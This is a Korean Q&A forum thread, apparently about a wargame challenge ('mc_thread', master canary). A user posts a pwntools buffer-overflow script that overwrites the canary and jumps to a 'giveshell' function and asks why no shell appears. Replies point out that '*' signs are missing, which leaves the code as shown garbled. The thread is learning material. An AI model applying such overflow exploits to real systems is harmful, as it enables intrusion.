코드는 맞는것 같은데 쉘이 실행이 안됩니다

from pwn import *
p = process('./mc_thread')
e = ELF('./mc_thread')
pay = b'a'*264
pay += b'a'8
pay += p64(e.symbols['giveshell'])
pay += b'a'
(0x948-len(str(pay)))
pay += p64(0x4141414141414141)
p.sendlineafter('Size: ', str(len(pay)))
p.sendlineafter('Data: ', pay)
p.interactive()
코드는 정말 맞는데 쉘이 안떠요ㅕ

#시스템해킹 #배경지식 #master_canary
작성자 정보
답변 2
avatar
wyv3rn
무플 방지 위원회장

일단은 8에서 곱하기가 빠진것같은데요? ㅎㅎ
그 밑에도요

2022.12.24. 19:21
jihoyun
대표 업적 없음

from pwn import *
p = process('./mc_thread')
e = ELF('./mc_thread')
pay = b'a'*264
pay += b'a'8
pay += p64(e.symbols['giveshell'])
pay += b'a'
(0x948-len(str(pay)))
pay += p64(0x4141414141414141)
p.sendlineafter('Size: ', str(len(pay)))
p.sendlineafter('Data: ', pay)
p.interactive()
곱하기가 안뜨는 구간이 있네요?

2022.12.24. 19:39
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기